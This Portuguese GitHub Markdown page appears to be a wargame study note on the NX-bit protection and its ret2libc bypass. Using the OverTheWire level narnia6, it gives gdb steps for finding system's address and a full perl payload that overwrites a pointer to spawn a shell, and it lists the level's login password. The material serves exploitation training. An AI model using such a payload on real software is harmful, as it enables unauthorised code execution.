Skip to content

Latest commit

 

History

History
40 lines (26 loc) · 1.98 KB

nx.md

File metadata and controls

40 lines (26 loc) · 1.98 KB

NX-Bit

Essa é uma proteção que desabilita qualquer bit de execução na Stack, ou seja, não é possível utilizar um shellcode para spawnar uma shell ou algo do tipo

ret2libc

Felizmente (ou infelizmente pros ademir), existe um bypass pra essa proteção, que utiliza os recursos da libc para fazer uma execução no sistema
Conecte-se ao narnia6 dessa vez, para a demonstração dessa técnica [email protected] -p2226 Senha neezocaeng



O narnia6 exige 2 argumentos, ou seja, ele contém 2 buffers
Se você olhar a source, vai notar que os 2 buffers alocam 8 bytes



Vamos começar a depuração, repare que o NX está habilitado



De início, vamos escrever um payload pra 2 buffers, e que cada buffer contenha 8 bytes, o que seria o nosso offset
run $(perl -e 'print "a"x8 . "xxxx"') $(perl -e 'print "b"x8 . "xxxx"')
porém, não envie esse payload, antes vamos ter que resgatar algumas coisas...

getting system from libc

Para conseguir o endereço dessa função é simples, no depurador, sete execute um b main para setar um breakpoint na função main
Inicie o programa, e assim que o breakpoint for atingido digite p system para printar o endereço da system



Agora é a parte fácil...
Pegue esse endereço, e monte o payload da seguinte forma $(perl -e 'print "a"x8 . "\x50\xc8\xe4\xf7"') $(perl -e 'print "b"x8 . "/bin/sh"')
Feito isso, basta enviar

./narnia6 $(perl -e 'print "a"x8 . "\x50\xc8\xe4\xf7"') $(perl -e 'print "b"x8 . "/bin/sh"')



pwn
home